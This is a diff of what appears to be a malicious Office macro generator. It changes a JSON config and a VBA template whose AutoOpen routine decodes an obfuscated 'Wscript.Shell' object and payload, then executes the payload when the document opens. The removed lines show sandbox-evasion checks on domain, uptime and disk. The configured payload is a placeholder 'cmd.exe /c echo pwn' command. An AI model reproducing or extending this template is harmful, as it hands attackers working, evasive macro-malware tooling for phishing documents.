Updating configs

configs/generic-cmd.json

@@ -4,21 +4,10 @@
 	"varcount": 150,
 	"encodingoffset": 4,
 	"chunksize": 200,
-	"encodedvars": 	{
+	"encodedvars": 	{},
-						"DOMAIN": "AD"
+	"vars": 		[],
-					},
-	"vars": 		[
-						"func_evasion_encoder", 
-						"func_evasion_none",
-						"func_evasion_diskcheck",
-						"func_evasion_uptime"
-					],
 	"evasion": 		[
-						"encoder", 
+						"encoder"
-						"none",
-						"uptime",
-						"diskcheck",
-						"domain"
 					],
-	"payload": "cmd.exe /c random garbage"
+	"payload": "cmd.exe /c echo pwn > C:\\work.txt"
 }

templates/payloads/generic-cmd-template.vba

@@ -1,138 +1,36 @@
+[use:payload_wrapper]
+[use:exec]
+
 Sub AutoOpen()
 	Dim var1 As String
-	Dim var2 As String
+	Dim var2 As Object
-	Dim var3 As String
+	Dim var3 As Integer
-	Dim var15 As String
+	Dim var4 As String
-	Dim var16 As String
-	Dim int1 As Integer
-	Dim int2 As Integer
-	Dim int3 As Integer
 	
-	int1 = [INT1]
+	var3 = [int1]
-	int2 = [INT2]
+	var1 = "{[Wscript.Shell]}"
-	int3 = [INT3]
+	Set var2 = CreateObject(decode(var1))
-	var2 = "data1"
+	var4 = payload_wrapper("data1")
-	var1 = "func3"
+	var4 = exec(var2, var4, var3)
-	var16 = "{[Wscript.Shell]}"
-	var1 = func1(var1, var2, int1)
-	var2 = "func2"
-	var3 = func1(var2, var1, int2)
-	If (var3 = "cond1") Then
-		Dim var11 As Object
-		var15 = "func4"
-		var15 = func1(var15, var16, int3)
-		Set var11 = CreateObject(var15)
-		var15 = func5(var15)
-		Dim var32 As String
-		var32 = var15
-		var15 = "func8"
-		var32 = func1(var15, var32, int3)
-		var32 = func7(var11, var32, int1)
-		Set var11 = Nothing
-	End If
 End Sub
 
-Function func1(var4 As String, var5 As String, var6 As Integer) As String
+Function payload_wrapper(payload_wrapper1 As String) As String
-    If (var6 > 1) Then
+	Dim payload_wrapper2 As String
-        func1 = Application.Run(var4, var5)
+	[payload]
+	payload_wrapper2 = [payload_args]
+	payload_wrapper2 = decode(payload_wrapper2)
+	payload_wrapper = payload_wrapper2
+End Function
+
+Function exec(exec1 As Object, exec2 As String, exec3 As Integer) As String
+	Dim exec4 As String
+	Dim exec5 As Integer
+	exec5 = [smallint1]
+	exec4 = exec2
+    If (exec3 > exec5) Then
+		exec5 = exec3 - exec3
+		exec1.Run exec4, exec5, True
 	End If
-End Function
+	exec4 = "exec6"
-
+	func7 = exec4
-Function func2(var7 As String) As String
-    Dim var8 As String
-    Dim var17 As String
-    Dim var18 As String
-    Dim int4 As Integer
-    int4 = [INT4]
-    var17 = "func9"
-    var18 = "[DOMAIN]"
-    var17 = func1(var17, var18, int4)
-    var8 = var17
-    If (UCase(var7) = var8) Then
-        func2 = "cond1"
-    Else
-        func2 = "cond2"
-    End If
-End Function
-
-Function func3(var9 As String) As String
-    Dim var10 As String
-	Dim var20 As String
-	Dim int5 As Integer
-	int5 = [INT5]
-	var20 = "func4"
-	var20 = func1(var20, "XVHUGRPDLQ", int5)
-    var10 = Environ(var20)
-	var20 = func5(var20)
-    func3 = var10
-End Function
-
-Function func4(var12 As String) As String
-    Dim var13 As Long
-    Dim var14 As String
-	Dim int9 As Integer
-	int9 = 3
-    For var13 = 1 To Len(var12)
-        var14 = var14 & Chr(Asc(Mid(var12, var13, 1)) - int9)
-    Next var13
-	var29 = func5(var14)
-    func4 = var14
-End Function
-
-Function func8(var37 As String) As String
-	Dim var36 As String
-	[PAYLOAD]
-	var36 = [PAYLOAD_ARGS]
-	var36 = func9(var36)
-	func8 = var36
-End Function
-
-Function func9(var42 As String) As String
-    Dim var43 As Long
-    Dim var44 As String
-	Dim int8 As Integer
-	int8 = [OFFSET]
-    For var43 = 1 To Len(var42)
-        var44 = var44 & Chr(Asc(Mid(var42, var43, 1)) - int8)
-    Next var43
-	var29 = func5(var44)
-    func9 = var44
-End Function
-
-Function func5(var21 As String) As String
-	Dim int6 As Integer
-	Dim var25 As String
-	If (UCase(var21) = "var22") Then
-		int6 = [SMALLINT4]
-	Else
-		int6 = [SMALLINT5]
-	End If
-	var26 = func6(var21, int6)
-	If (var26 = "var27") Then
-		func5 = var26
-	Else
-		func5 = "var28"
-	End If
-End Function
-
-Function func7(var30 As Object, var31 As String, var33 As Integer) As String
-	Dim var34 As String
-	Dim var35 As Integer
-	var35 = 1
-	var34 = var31
-    If (var33 > var35) Then
-		var35 = var35 - 1
-		var30.Run var34, var35, True
-	End If
-	var34 = "var38"
-	func7 = var34
-End Function
-
-Function func6(var23 As String, int7 As Integer) As String
-    Dim var22 As Long
-    Dim var24 As String
-    For var22 = 1 To Len(var23)
-        var24 = var24 & Chr(Asc(Mid(var23, var22, 1)) - int7)
-    Next var22
-    func6 = var24
 End Function